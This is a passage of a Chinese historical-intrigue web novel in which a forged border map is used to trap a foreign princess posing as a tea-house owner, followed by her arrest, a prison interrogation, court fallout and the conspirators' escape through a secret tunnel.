姜清晞不满,挽着姜清宁的胳膊撒娇,“阿姐,你不能偏心的,明明我才是最小的妹妹……” 姜清宁捏了捏她的鼻尖,宠溺道:“你就在阿姐的身边,阿姐自然是会亲自看着你的,我还为你请了女夫子,明日就是你上课的时候。” “啊?不要啊阿姐!”姜清晞一脸震惊,感受到天崩地裂的差距。 姜清宁和姜月柔相视一笑,两人穿过垂花门,沿着抄手游廊向住院走去。 廊下清风徐徐,带来庭院里花草的清香,姜清宁状似无意地瞥了一眼西厢房的方向——温子怡的房间。 窗棂半开,里面静悄悄的,似乎无人。 “大姐姐在看什么?”姜月柔循着视线望去,似乎有了猜测。 “没什么,就是好奇我的生意被做得如何了。”姜清宁轻笑一声,嗓音慵懒,似乎根本不在意那几百两银子。 姜清晞笑嘻嘻地跟上:“温子怡做的茶楼吗?倒是听说办得红红火火,已经撑起门面了,她果真是个会做生意的。” 三人的身影消失在月洞门后的瞬间,西厢房那扇半开的窗后,一道纤细的身影无声地贴着墙根出来,正是温子怡。 她穿着一身半旧的青色布裙,打扮得毫不起眼,真有了茶楼老板娘的感觉,只是说脸上再无平日里办法呢的温顺纯良。 温子怡眼底盛着震惊,她刚才在窗内整理晒干的草药,打算新制作几道几月后能够解暑的茶水,却恰好将姜清宁与姜月柔在廊下的私语听了个七七八八。 城西撷芳园、三日后、北狄使臣、关乎北疆边防的紧要物件、形似卷轴、由林衡保管! 每一个字都像是重锤,狠狠敲击在温子怡的心上,她那双看似温润的杏眼,此刻闪烁着难以置信的光芒和一种近乎狂热的渴望。 边防舆图,绝对是边防舆图,除了这个还有什么能让使臣亲自交接,还偏偏要交给林衡! 温子怡的指甲深深掐入掌心,一系列的偷听动向,都恰恰证明了消息的真实性和那舆图的价值。 简直是天赐良机,命运送到她的手上,焉能不紧握?! 秦国公府。 秦休负手立于巨大的舆图前,指尖正点在城西撷芳园的位置,他的身后站着青之与青冥两个心腹,气息沉稳满脸的严肃。 “都安排妥当了?”秦休的声音不高,却带着金石之音。 青冥拱手:“回禀大人,撷芳园内外共布下暗桩二十七出,院内仆役、乐师、甚至端茶送水的婢女已替换打扮,皆是下面的好手。” 青之附和道:“林衡别院的书房是唯一存放舆图之处,机关已经按照您的要求重新布置,确保能恰好困住闯入者片刻,外围由巡防营指挥使带人巡逻。” “只待信号一响,便可第一时间封锁所有出路。” “舆图的副本已按照原样伪造完毕,所用绢帛、印鉴、甚至几处只有北狄王庭才知晓的暗记皆已仿制到位,足以乱真,真正的舆图已经收了回来。” 秦休微微颔首,目光依旧停留在舆图之上,“温子怡那边,宁阁自有手段引她入瓮。” “告诉下面的人,一旦目标现身盗图立即触发机关动手擒拿,若是负隅顽抗生死勿论,最重要的是务必让她碰到那份舆图。” 秦休顿了顿,残忍地勾唇道:“让林衡亲眼目睹失窃,让他惊慌失措地试图掩盖……戏,要演足。” “是!”青之与青冥凛然领命。 “还有。”秦休转身,目光冷凝,“盯紧卫斋和傅伯谦,温子怡若是出事,他们必有反应,若有异动,一网打尽。” “是,大人放心!” 青之挠头道:“大人,您这招用得实在是精妙,接收到姜大小姐的信,便开始筹谋此事,若是事成不仅奉国公府遭受重创,姜大小姐的仇也能报。” “呃……简直是一举多得,此事若是成了,姜大小姐定然对您倾心!” 青冥踹他一脚,提醒:“住口吧你,大人都嫌你烦了。” 第九十七章落网 书房内烛火跳动,将秦休挺拔的身影投射在墙壁之上,如同伺机而动的猛兽。 宁阁。 姜清宁独自坐在书案后,面前摊开的是一本账册,目光却并未落在上面。 窗外月色清冷,洒在庭院里,一片静谧。 紫苏悄无声息地走进,低声道:“小姐,温姑娘房里的灯亥时初就熄了,一直未有动静,但外院那边,卫斋房里的灯亮到了子时。” 姜清宁指尖在光滑的紫檀木桌面上轻轻叩击,发出细微的笃笃声。 “温子怡熄灯早,或许是养精蓄锐,也可能是已经有所动作。” “但卫斋晚睡是巧合,还是察觉到了什么?傅伯谦那个老狐狸……让人盯紧他。” 紫苏应声道:“是,奴婢已经吩咐过外院的护卫们了,让他们这几日都打起精神来,尤其是夜间要多巡视,动静还要放大一些。” 姜清宁疲惫地点头,摆手道:如此便好,你先回去歇着吧,我想出去走走。” 紫苏知道自己拗不过姜清宁,顺从地行礼:“是,您早些歇息。” 姜清宁披着淡青色的披风,登上了后院修缮完好,又装点了一番的高台之上。 她站在宁阁的最高处,俯瞰着附近的京城,这是父兄尽心竭力守护的地方,但是却不属于她的家人。 即便如此,她在第一时间,还是选择将这个消息告诉秦休,一是为了自保,而是为了不让父兄失望。 “这人啊,活着怎么就必须要做那么多选择呢?” 姜清宁自嘲一笑,转身欲离开,却和一墙之隔的人对视。 秦休站在月前他们第一次对视的地方眺目远望,和姜清宁对视着,姜清宁感到恍若隔世,她投之一笑,后知后觉地反应过来,秦休好像看不到。 于是她想二人初见那日一样,对着他遥遥行礼,驻足远看一会儿,便彻底离开。 三日后,黄昏。 城西,撷芳园。 撷芳园以夏日荷花闻名,此刻华灯初上,亭台楼阁掩映在郁郁葱葱的花木之中,处处悬挂着精致的琉璃灯盏,将院子映照得流光溢彩。 荷花满园,倒不失为一片好光景。 丝竹管弦之声夹杂着宾客们的谈笑,名义上,是奉国公府嫡子林衡设下私宴,款待几位远道而来的北地商客,然刺客园中气氛,透着一丝不易察觉的紧张。 “林小公爷,林大人好!” “林大人来了,咱们今日的生意……” “别着急,该是你的断然不会跑,林小公爷何许人也,又怎会少了你的好处。” 林衡一身簇新的宝蓝色锦袍,意气风发地站在主厅前的台阶上,志得意满地接受着宾客们的恭维,只觉得前途一片光明。 想到怀中那份北狄使臣,刚刚亲手交给他的边防舆图,林衡心头更是火热,眼前闪过姜清宁的模样。 这次事成之后,他定然要去宁阁提亲! 戌时三刻将至。 林衡借口更衣,离开喧闹的主厅,在两名心腹的护卫下,穿过曲折的回廊,走向他位于别院深处,守卫森严的书房。 书房周围,明哨暗桩林立,都是奉国公府的精锐。 林衡踏入书房,郑重地将拿出书案下一个看似普通,实则内藏精巧机关的紫檀木匣中,这才检查了一遍窗户门栓后满意地转身准备离开。 “咔哒……” 一声极其轻微,仿佛枯枝断裂的脆响,从书房东侧的方位传来。 林衡关门的手一顿,豁然转身,厉声呵斥:“谁?!” 他身后的两名护卫瞬间拔出长刀,警惕地看向声音来源。 窗外一片寂静,只有风吹树叶的沙沙声。 “难不成是听错了?”一个护卫疑惑的开口道。 林衡眉头紧锁,示意一人守在门口,他带着另一个,小心翼翼地靠近那扇窗户。 “哐当!” 窗户被猛然推开,窗外月色如水,空无一人,窗下花丛在夜风中轻轻摇曳。 “当真是疑神疑鬼。”林衡轻嗤一声,松了口气。 突然一道快如鬼魅的黑影,从他们头顶的房梁之上倒挂而下,目标明确地伸手抓向书案下的紫檀木匣。 “大胆!” 林衡惊骇上前,身后的护卫反应极快,狠狠劈向那道黑影,对方却好像长了眼睛一样,拧身避开身后的攻击,同时一脚踹向书案侧面。 电光火石之间,黑影的手指已经触摸到紫檀木匣的锁扣。 “不好,快躲开!有机关!”护卫连忙喊道。 黑影似乎早有预料,飞快地解开暗锁,将木匣抓入手中。 “放下它!”林衡目眦欲裂,拔剑刺向黑影。 温子怡眼中闪过一丝冰冷的杀意,心知不能长时间纠缠,转身冲到窗边,跳窗而出。 “拦住她!发信号!”林衡气急败坏地喊道,心中涌现出无尽的恐慌。 守在门外的护卫们立刻掏出竹哨,用尽全力地吹响,尖锐刺耳的哨音划破撷芳园的夜空。 紧接着,撷芳园各处爆发出巨响,火光冲天,浓烟滚滚,前院响起无尽的混乱声。 “走水了!” “有刺客!快保护大人!” “别乱!别冲动!” 整个撷芳园,出乎意料的,瞬间陷入大片的混乱之中。 房梁之上,温子怡背着突如其来的爆炸声惊到,随即反应过来转身就跑,身后几乎是差了一秒,无数的箭矢飞上房顶。 “在上面,快追!” 林衡冲出书房,飞身而上屋顶,快速地朝着温子怡追过去。 温子怡眼中闪过狠戾,刚要转身反击,一张巨大的浸透了桐油的渔网,毫无征兆地落在她身上。 “滋啦!” 渔网上的倒钩瞬间撕裂了她的夜行衣,在手臂和肩背划开几道血口,火辣辣的剧痛传来,手中的紫檀木匣投手而出。 “不!”温子怡惊怒交加,不顾一切地伸手去抓。 “拿下!” 一个冰冷的声音在黑暗中响起,充斥着毫不犹豫的果决,丝毫不带怜悯之心。 声音落下,黑暗中数道身影悄无声息地飞跃而出,呈合围之势将温子怡包围,动作敏捷狠辣,配合默契。 温子怡惊恐地反应过来,她绝对是被人陷害了,脑海中闪过三日前的场景,瞬间捕捉到幕后的真凶。 是姜清宁! 第九十八章抓个正着 一阵整齐有序的沉重脚步声由远及近,火把的光芒瞬间照亮了撷芳园的大门。 “京城巡防营奉旨办案!所有人等,原地待命!” “擅动者,格杀勿论!” 一声洪亮的怒吼声,伴随着甲胄哦鞥装的铿锵声响彻夜空。 林衡听到撷芳园外的声音,心脏瞬间坠入无尽的深渊,全完了。 屋顶之上,温子怡不消片刻,便被手段狠辣的暗卫们制服,她死死盯着下方被巡防营士兵控制住的林衡。 一阵脚步声响起,她转头看去,一道玄色身影缓缓从阴影中走出,手中正拿着她垂涎到不惜抛弃生命为代价的木匣。 “秦休!这是你的谋划!”温子怡冷喝,眼中满是愤怒。 秦休的目光落在她的身上,如同看着一件没有生命的物品,淡漠的转向失魂落魄的林衡,冰冷的开口: “奉国公府林衡,看守太子交付之边防重器不力,致使敌国奸细潜入盗取,人赃并获!即刻拿下,押送天牢,听候陛下发落!” “此女。”秦休目光扫射而去,“潜入盗图,负隅顽抗,疑为敌国细作,一同押走,严加审讯!” “不,秦休!此事是你陷害我!” 林衡反应过来,挣扎着嘶吼,却被身后的巡防营士兵死死按住,一张帕子堵住了他的嘴。 温子怡被粗暴地拽起来,她挣扎着抬起脸,眼神怨毒地盯着城东的方向,仿佛要透过无数的楼宇看到某个置身事外的人。 “全部带走!” 秦休居高临下的在她的身前,在温子怡抬头看去的时候,语气冰冷无比的下令。 宁阁。 姜清宁独自站在庭院最高处的观景阁上,夜风吹拂着她的衣裙,京城的城墙太高了,高到阻隔了她所有的视线。 紫苏悄无声息地出现在她的身后,低声道:“大小姐,城西方向有火光,隐约有喊杀声响起,巡防营的大队人马,在半个时辰前似乎也往那边去了。” 姜清宁缓缓抬起手,拢了拢被风吹乱的鬓发,指尖冰凉。 “紫苏,起风了。”她轻声道,声音消散在夜色里。 撷芳园的腥风血雨,如同投入平静湖面的巨石,在京城权贵之中激起滔天巨浪。 奉国公府嫡子林衡,因看守边防舆图不力,致使敌国奸细潜入盗取,人赃并获,被巡防营当场拿下压入天牢。 一同落网的,还有一个身份不明,负隅顽抗的女刺客。 消息如同长了翅膀,一夜之间传遍了大街小巷。 奉国公府大门紧闭,往日煊赫的门庭,此刻笼罩在一片死寂的阴霾之中。 东宫。 噼里啪啦的声响传出,宫女太监们战战兢兢地跪了满地。 陆乘摔碎了最心爱的羊脂玉镇纸,脸色铁青,眼中怒火几乎要喷薄而出。 “秦休!怎么可能会是他?秦休怎么会对林衡下手!” 陆乘脑海中回想起秦休的话,顿时反应过来,从前的一切交好不过是表象,秦休是披着羊皮的狼,狠狠地反咬了他一口! 而如今整个皇城人尽皆知,秦休的举动,无异于当众扇了他这个太子,一记响亮的耳光! 陆乘咬牙切齿,眼中喷火:“秦休,孤不会放过你的!” 宁阁。 姜清宁端坐在书房内,窗外晨曦微露,鸟鸣声叽叽喳喳地响起,却丝毫没有干扰到她的沉思。 紫苏轻手轻脚地走进,奉上一盏新沏的云雾茶。 “小姐,隔壁天未亮时,秦大人便进宫了。”紫苏低声道,声音里带着不易察觉的紧张。 姜清宁端起茶,氤氲的热气模糊了她清冷的眉眼,她轻轻吹了吹浮沫,嗯了一声,听不出情绪。 “还有。”紫苏声音压得更低,“前院西厢,卫斋和傅伯谦天不亮便急匆匆地离开了,只留了个小厮说去访友,归期不定。” “奴婢派人悄悄跟着,发现他们并未出城,而是进了城南一处不起眼的客栈里,应当是察觉到了温子怡的身份。” 姜清宁执盏的手一顿,眼底掠过一丝了然:“毕竟是前朝余孽,嗅觉再不灵敏,下一个就是他们,走了也好,走了我这宁阁可就清净了” 卫斋和傅伯谦的仓促离开是自保之举,躲入城中客栈而非立刻远遁,说明他们尚不甘心,还在观望或许仍在图谋。 “知道了。”姜清宁放下茶盏,声音平静无波,“不必再跟,盯紧客栈即可,若有异动,立刻来报。” “是。”紫苏应下,又迟疑道,“小姐,那秦大人那里……” “还早。”姜清宁淡淡道,“这件事先不用管,备车,稍后去趟瑞福祥,给小妹和月柔挑几匹时兴的软烟罗,顺道给祖母也选些东西。” 紫苏惊愕:“可是咱们并没听到姜家的动静啊?” 姜清宁似笑非笑道:“信件送出去几天了,这会儿或许是正在观望,大门她老人家到底是要回来的,落叶归根,她不会放弃老宅的。” 马车缓缓离府,后院一道房门打开,姜月柔缓步走进温子怡的房间里,转身不动声色地关好门窗。 下一瞬间,姜清晞打开窗棂,眸光闪烁,直直地望向某处。 姜月柔看着屋内简单的陈设,心跳如擂鼓,小心翼翼地翻找着,一无所获。 她站在房间里,轻嗅着空气中的草药味,径直走到桌上摊着的晒干的草药面前,伸手在里面摸索着。 指尖忽然触碰到什么,她心头一跳,拨开草药,看到一个巴掌大小,触手冰凉的黑色令牌。 令牌正面雕刻着一只栩栩如生、展翅欲飞的雄鹰,鹰眼处镶嵌着两点细小的幽蓝色的宝石,在昏暗的光线下闪烁着诡异的光芒。 背面则是她完全不认识,只在古籍上见骨的奇异文字。 下一刻,房门被人猛地推开。 姜月柔吓了一跳,令牌掉在地上,发出沉闷的声响,像是在宣告着她被抓了个正着的结局。 “姜月柔,你在做什么?” 一道温柔含笑的声音从她的身后轻飘飘的响起。 姜月柔望着脚下的两道身影,闭了闭眼,深吸一口气,转身看向来人。 “你……是什么时候知道的?” 第九十九章手段狠辣 “若要人不知,除非己莫为。” “所以你从一开始就知道,只不过一直隐忍了这么多天?” “没错,这三天里,我无时无刻,都在等着你开口主动询问。” 姜月柔轻笑:“大姐姐竟如当世女诸葛,倒不如问问我发现了什么?” 姜清宁眼尾扫过她身后挡住的东西,轻笑一声:“我觉得是一块令牌,通体乌黑,触手冰凉。” 姜月柔顿了下,眼底闪过了然,转身蹲下身子将令牌捡起来,走到姜清宁的面前双手奉上:“大姐姐好生聪慧,竟是连我都算计进去了。” “我说了,如果不是你有心思,我绝不会算计到你的身上,现在…可以开诚布公的和我好好谈一笔生意了吧?” 姜清宁勾唇浅笑,眉眼间尽是志在必得之意。 姜月柔轻笑出声,上前将令牌放入姜清宁的手中,温柔道:“大姐姐知道的,我一直相信你,只不过是从前你为刀俎我为鱼肉,不得不为自己多着想一番罢了。” 姜清宁抬手接过,垂眸仔细观摩片刻,递给紫苏道:“拓本下来,然后交给秦休。” “是,奴婢这就去办。”紫苏乖巧地应声退下。 姜月柔依旧不懂:“大姐姐,你不是不考虑成婚吗?为何还要如此相信他?他可是权贵,害咱们姜家走到如今地步的权贵。” 姜月柔一直觉得,若是她的大伯没有被贬,有大伯管着二伯和父亲,姜家绝对不会走到如今的局面。 “权贵与权贵之间是不同的。”姜清宁微微摇头,眼中光芒万丈,“再说,他愿意为了我,层层布局,只为杀一个人。” “什么人?”姜月柔禁不住,问道。 “权贵。”姜清宁坚定开口。 姜月柔彻底愣住,权贵与权贵之间,向来官官相护,寻常文臣武将要么选择融入,要么就是被流放的命。 还有一种就譬如二伯和父亲,此生无法致仕,只能靠祖上的恩德,买一个小官做做。 “那看来,我倒是要不了多久,就会有大姐夫了。”姜月柔无奈一笑,诚恳道:“若是大姐姐有什么想谈的生意,尽可直白讲来,月柔从此之后绝无异心。” 天牢深处,阴森潮湿的底层水牢内。 荀臣迈步走入昏暗的长廊之内,直到站在穷凶极恶的敌国刺客面前,看着她被冰冷的污水没到胸口,刺骨的寒意如同无数钢针扎入骨髓般让她颤抖不止。 温子怡被沉重的精铁锁链吊在石壁上,双臂早已失去知觉,她身上遍布着鞭痕、烙铁印和刑具留下的狰狞伤口,血水混着污水不断滴落。 曾经清秀的面容肿胀不堪,布满血污,唯有一双眼睛依旧燃烧着怨毒的火焰。 “说!你的同伙还有谁?潜伏在京城何处?一直都是如何联络?”刑吏的声音在水牢中回荡,带着残忍的怒喝声回响。 温子怡艰难地抬起头,啐出一口带血的唾沫,声音嘶哑破碎,却带着刻骨的嘲讽: “同伙?呵,你们中原人不是最喜欢自相残杀吗?林衡那个蠢货,不就是你们自己人送给我最好的机会吗?哈哈哈……” 她笑得癫狂,牵动伤口,剧烈地咳嗽起来,血沫从嘴角溢出。 刑吏脸色铁青,举起烧红的烙铁,再次逼近,威逼恐吓道:“再不说,小心我手中滚烫的烙铁!” 就在这时,水牢沉重的铁门被推开,一股阴冷的风灌入。 秦休的身影出现在门口,一身绯色官服,在昏暗的光线下如同索命的阎罗,他身后跟着脸色有些发白的刑部尚书胡华。 荀臣眼神复杂地看了他一眼,尽管秦休并没有搭理他,但是在办案的时间内,秦休依旧是他的上司。 “微臣见过胡大人,秦大人。”荀臣艰难地躬身,开口道。 秦休的目光淡漠地扫过他,看向水牢中不成人形的温子怡,眼神没有丝毫波动,如同看着一个死到临头的囚犯。 “如何?”他开口,声音平淡。 刑部尚书连忙躬身:“回禀秦大人,这妖女骨头极硬,各种大刑都上了,但她依旧只承认自己是北狄人,潜入京城为盗取边防舆图,对同伙、据点一概不认!只反复咒骂林衡和…和……” 他偷偷瞥了一眼秦休的脸色,没敢说下去。 “骂我?”秦休嘴角勾起一抹冰冷的弧度,缓步走到污水边,居高临下地俯视着温子怡,“本官该叫你温子怡,还是阿史那云伊,北狄长公主潜伏我朝十年,忍辱负重跟随穷书生进京,就为了今日功亏一篑?” 温子怡浑浊的眼睛猛地爆发出骇人的精光,死死盯住秦休,仿佛要用目光将他撕碎。 “秦休,你不得好死!”她嘶吼着,锁链哗啦作响,“你以为下令对我言行逼供,你就赢了吗?哈哈哈……卫斋和傅伯谦他们不会放过你的,北狄的铁骑终将踏平你们肮脏的城池,我在地狱等着你!” “卫斋?傅伯谦?”秦休微微挑眉,语气带着一丝恰到好处的意外,“前朝余孽,丧家之犬,也配与北狄铁骑相提并论?不过……” 他话锋一转,声音陡然变得森寒彻骨:“倒是多谢殿下提醒,原来除了敌国奸细,我朝内部还藏着这等包藏祸心的逆贼,正好一网打尽。” “如此还是要多谢北狄长公主殿下,知无不言,言无不尽,本官待我朝臣民谢过北狄长公主。” 秦休黑眸中毕露的锋芒,展现出的狠辣手段,让在场的刑部尚书以及审讯人员,都不由自主地打了个寒战。 温子怡表情瞬间僵住,眼中闪过一丝难以置信的惊愕。 “秦休,你敢诈我!”温子怡目眦欲裂。 秦休不再看她,仿佛对面的人已是一具尸体。 他转身面对刑部尚书,声音恢复了平日的冷硬:“记录在案,北狄长公主阿史那云伊,潜入京城,勾结前朝余孽卫斋、傅伯谦,意图盗取边防舆图,颠覆我朝,证据确凿,供认不讳,待陛下御览后,择日明正典刑。” 第一百章此生此世捆绑在一起 “是,我这就去让人办!”刑部尚书冷汗涔涔,连忙应下。 虽然刑部尚书是正二品官员,高秦休一整个阶级。 但胡华对于自己的定位十分清楚,他能够走到如今的位置全仰仗秦家。 如今陛下都对秦世子亲信有加,奉国公府一朝出现败笔,后宫的中宫之位,与太子之位到谁手中还难以言说。 秦休不再停留,转身走出水牢。 身后传来温子怡绝望而凄厉的诅咒和嘶吼。 荀臣追随着秦休的背影,眼神复杂地看着他离去。 御书房。 龙涎香的气息浓重,皇帝陆衍端坐于龙椅之上,面容比平日更显苍老几分,眼神深处是难以掩饰的疲惫与惊怒。 他面前御案上,摊开着两份奏报。 一份是秦休关于撷芳园事件详细经过,及审讯初步结果的密折,另一份则是太子陆乘为林衡辩白、并弹劾秦休滥用职权、构陷忠良、意图挑起朝堂动荡的泣血陈情。 “父皇!”太子陆乘跪在御案前,眼圈发红,声音悲愤,“林衡或有失察之责,但罪不至死!” “秦休此獠分明是借题发挥,妄想铲除异己,他未经三司会审便擅自调动巡防营围捕奉国公府嫡子,动用私刑逼供一女子,屈打成招,构陷其勾结前朝余孽!” “此等行径,置国法于何地?置父皇天威于何地?他秦休究竟想做什么?!请父皇明鉴,严惩秦休,还林衡一个公道!”陆乘重重叩首,额头触地。 御书房内一片死寂,侍立的太监宫女们屏息凝神,大气不敢出。 皇帝的目光缓缓从两份截然不同的奏报上抬起,落在跪在下方的太子身上,眼神中有失望,有审视,更有一丝深藏的忌惮。 他沉默良久,才缓缓开口,声音带着帝王的威压: “林衡看守太子交付之物不力,致使敌国奸细有机可乘,人赃并获,铁证如山,此乃失职重罪,何来构陷之说?” 陆乘猛地抬头,急声道:“父皇!那人赃并获焉知不是秦休自导自演?那女刺客身份不明,屈打成招之词岂能轻信?所谓前朝余更是无稽之谈!分明是秦休……” “够了!”皇帝猛地一拍御案,发出一声巨响! 陆乘吓得浑身一颤,后面的话噎在喉咙里。 皇帝胸膛起伏,显然动了真怒:“朕还没老糊涂!秦休密折所言,人证物证俱全!那女刺客身份已有北狄王庭旧物为证!至于前朝余孽……” 皇帝眼中寒光一闪:“宁可信其有,不可信其无,此事,秦休办得并无不妥!” “父皇!”陆乘如遭雷击,脸色煞白。 “林衡暂押天牢,待三司详查其失职之罪,再行论处!”皇帝一锤定音,堵死陆乘求情的路。 他目光转向一直静立在一旁的秦休,语气稍微缓和:“秦休,上前来。” “臣在。”秦休躬身。 “此案由你主理,刑部、大理寺协办,务必查清敌国奸细潜入始末,揪出所有潜伏暗桩!” “至于前朝余孽卫斋、傅伯谦……”皇帝的声音陡然转厉,带着凛冽的杀意,“即刻发下海捕文书,活要见人,死要见尸!” “臣,遵旨!”秦休沉声应道,声音铿锵有力。 陆乘瘫软在地,面如死灰。 他知道林衡完了,奉国公府也必定会跟着遭受前所未有的重创。 而这一切的始作俑者秦休,不仅毫发无损,反而获得了更大的权柄。 他看着秦休那张冷峻的脸,一股滔天的恨意瞬间淹没了他的理智。 他和秦休的此仇,不共戴天! 夜幕再次降临宁阁。 姜清宁并未点灯,独自坐在窗边的软榻上,窗外月色如水,将庭院里的花木勾勒出朦胧的剪影。 隔壁秦国公府一片沉寂,秦休尚未归来。 白日的喧嚣似乎已经远去,但无形的风暴正在京城上空积聚。 皇帝的态度、太子的恨意、奉国公府势必会疯狂反扑、以及隐匿起来的卫斋和傅伯谦……这一切,都如同沉重的巨石压在姜清宁的心头。 她知道秦休今日在朝堂上必然经历了一场恶战,皇帝那句‘办得并无不妥’和委以主理大案的重任,是胜利,更是将秦休推向了更危险的漩涡中心。 姜清宁端起手边早已凉透的茶盏,指腹摩挲着光滑的瓷壁,脑海中回想起秦休那句是否在担心他的问话。 担心? 姜清宁微微蹙眉,不,她只是…不想这盘精心布置的棋局,因为执棋者的意外而崩盘。 仅此而已。 就在这时,寂静的夜色中,传来一声极其轻微、却异常清晰的叩击声。 “笃、笃笃。” 姜清宁的心,毫无征兆地漏跳了一下。 她缓缓放下茶盏,起身走到墙边。 墙壁的另一端,传来秦休低沉而略带沙哑的声音,隔着朦胧的创撒谎,显得有些模糊,却清晰地传入她耳中: “此时已定,林衡下狱,口供已录,温子怡身份坐实,攀咬出卫斋和傅伯谦,海捕文书已发,陛下授我主理此案。” 秦休言简意赅,交代了最重要的结果和局势变化。 姜清宁静默片刻,抬起手,指尖在冰凉的墙面上,开口回应:“好,我知晓了。” 墙那边沉默了一下,随即,那低沉的声音再次传来:“宁阁……近日多留意。” 姜清宁敛眸,知晓他是在提醒她,卫斋和傅伯谦如同丧家之犬,被温子怡攀咬出来,唯恐狗急跳墙之下,难保不会对宁阁,尤其是她这个收留者产生疯狂的报复念头。 “你放心,我明白。”姜清宁点头,轻声回答。 “深夜叨扰,你早些休息。” 秦休说完这句话,映在窗上的身影消失不见。 姜清宁顿了顿,墙那边再无声音传来,仿佛刚才的对话,只是深夜梦魇产生的幻觉。 姜清宁依旧站在墙边,指尖停留在冰冷的墙面上。 月光透过窗棂,在她清冷的侧脸上投下明明灭灭的光影。 宁阁内外一片寂静,但她知道,真正的狂风暴雨,才刚刚拉开序幕。 而就在方才,她与秦休的秘密,将他们此生此世捆绑在一起。 第一百零一章蛰伏 翌日,京城的气氛如同绷紧的弓弦。 林衡下狱,奉国公府闭门谢客,太子称病不朝的消息,如同无声的惊雷在暗流中滚动。 街头巷尾的议论被无形的力量压制着,透着一股山雨欲来的压抑。 悦来客栈天字号房。 卫斋站在窗边,透过一条细缝,警惕地观察着楼下街道。 他脸色苍白,眼下乌青浓重,紧抿的嘴唇毫无血色,几日之间,仿佛瘦脱了形。 傅伯谦则坐在桌旁,看似闭目养神,布满皱纹的脸上却是一片死灰。 “先生……”卫斋的声音干涩嘶哑,带着一种走投无路的绝望,“子怡她真的招了,把我们都供出来了?” 他至今无法相信,那个与他相伴多年,温柔可爱的温子怡,竟然会是北狄的长公主。 傅伯谦缓缓睁开眼,浑浊的老眼里是深不见底的疲惫:“斋儿,到了这个地步,她招与不招,还重要吗?” 他的声音苍老而沙哑,“秦休既然敢当众点出我们的名字,海捕文书已下,就说明他早已掌握,或者说,早已认定了我们的身份。” “温子怡的身份不过是给了他一个更名正言顺的借口,让皇帝下定决心罢了,她落在秦休手里,受尽酷刑招供是迟早的事。”他顿了顿,语气带着一丝不易察觉的悲凉,“或许她在极度痛苦之下,被秦休用话诈出了什么…但无论如何,秦休的目的已经达到了。” “你更应该在意的是,为什么温子怡能够清楚的知道,我们那么多的事情?” 傅伯谦眼神中透着冷意:“温子怡到底是北狄的长公主,充做农女潜伏在你身边多年,那都是因为她发现了你的身份,想要借机来到京城完成任务回到北狄。” “看来,温子怡对你从始至终都是利用居多。” 卫斋猛地一拳砸在窗棂上,木屑刺破皮肤都浑然不觉,他的眼中迸射出疯狂的恨意。 “都怪秦休和姜清宁!都是他们设的局,一定是姜清宁那个贱人,她早就察觉了我们的身份,故意引子怡上钩,是她害了子怡,是她害了我们!” “现在说这些,于事无补!”傅伯谦的声音陡然严厉起来,萦绕着一种濒临绝境反而被逼出的狠戾,“当务之急是活下去!秦休的网已经张开,京城内外必然布满了眼线,我们必须尽快离开!” “离开?能去哪里?”卫斋颓然地靠在墙上。 “天下之大,何处还有我们容身之地?前朝…前朝早已烟消云散,旧部…旧部也被秦休短短几日之内逼得树倒猢狲散……” 巨大的失败感和绝望,几乎将卫斋吞噬。 傅伯谦颤抖着手指打开面前的盒盖,里面是一块颜色泛黄的旧绢布,以及一枚小巧的雕刻着奇异云纹的青铜令牌。 “天无绝人之路。”傅伯谦的声音压得极低,带着孤注一掷的疯狂,“这是你父亲…当年留下的最后一条退路,旧部虽散,但百足之虫死而不僵。” “我们去江南,那里还有当年你父亲的旧党,当年殿下暗中扶持的一股势力,名义上是水匪,实则是我们埋下的一颗钉子。” “寨主欠着你父亲天大的人情,且寨中多是对前朝心存眷念的遗民,这令牌和密信就是信物,只要我们能活着抵达江南,潜入云泽,就还有一线生机,只要我们不死,总有东山再起之日!” 他将旧绢布和青铜令牌郑重地塞进卫斋手中,卫斋低头看着手中的东西,如同抓住最后一根救命稻草,眼中的绝望被求生欲和复仇的火焰取代。 “好,我们去江南!”卫斋咬牙道,将令牌和绢布紧紧攥在手心,指节发白,“但是先生,在离开之前……” 他猛地抬头,眼中血丝密布,杀意沸腾,“姜清宁!此仇不报,我卫斋誓不为人,若非她收留又暗中窥探,若非她与秦休勾结设局,子怡不会落入秦休之手,我们也不会落到如此境地,我要她死!” 傅伯谦看着他眼中几乎失去理智的疯狂,心中暗叹仇恨已经蒙蔽了他的心智。 此刻刺杀姜清宁,无异于飞蛾扑火,自投罗网。 但…若不让卫斋发泄这股滔天恨意,恐怕他根本撑不到江南。 老狐狸浑浊的眼中闪过一丝阴狠的算计,他沉吟片刻,缓缓道:“斋儿,姜清宁身边必有秦休布下的暗卫,强攻宁阁,无异送死,不过…她那个堂妹,姜月柔,如今不是也住在宁阁吗?” 卫斋一怔:“姜月柔?那个三房的小姐?” “正是。”傅伯谦嘴角勾起一抹冷笑,“商氏带着她和离改嫁,寄人篱下这种滋味定然不好受。” 他压低声音,是恶意的揣测:“而且前几日撷芳园事发,她似乎表现得异常惊慌,恐怕…是知道了些什么不该知道的。” “先生的意思是?”卫斋眼中凶光闪动。 “我们手中还有几个潜伏在京城尚未暴露的暗子。”傅伯谦声音冰冷,“让他们设法在姜月柔身上做点文章,制造点意外,比如让她无意中听到些关于姜清宁心机深沉、利用她传递消息害了温子怡的流言…” “再比如,让她发现一些能证明姜清宁与秦休早有勾结、甚至对温子怡身份心知肚明的蛛丝马迹…挑拨离间,让她们姐妹阋墙。” 傅伯谦冷笑:“若能引得姜月柔对姜清宁心生怨恨,在宁阁内部生出乱子,甚至做出些不理智的举动,那便是我们浑水摸鱼,给姜清宁致命一击的良机。” “借刀杀人?”卫斋眼中爆发出残忍的快意,“老师好计策,就算杀不了姜清宁,也要让她后院起火,寝食难安,让她尝尝被至亲之人背叛的滋味!” “此事需快,更要隐秘。”傅伯谦叮嘱道,“我们今夜子时,便从秘道出城,江南之路凶险万分,能否抵达就看天意了。” 当夜,子时刚过。 悦来客栈后院,一处堆放杂物的逼仄角落,一块看似寻常的青石板被无声移开。 第一百零二章演戏 卫斋和傅伯谦先后现身,钻入其中,洞口在他们身后悄然合拢,如同从未开启过。 他们身影消失后不久,几道如同鬼魅般的黑影悄无声息地落在客栈的屋顶。 为首之人目光扫视着寂静的客栈后院,最终落在那堆杂物上,眉头紧紧皱起。 “大人,”一名手下低声道,“气息到这里就彻底断了,像是凭空消失。” 青年蹲下身,指尖在地面的细微痕迹上拂过,又凑近那堆杂物仔细嗅闻,脸色凝重:“有土腥气和极淡的硝石味,是秘道,他们跑了!” 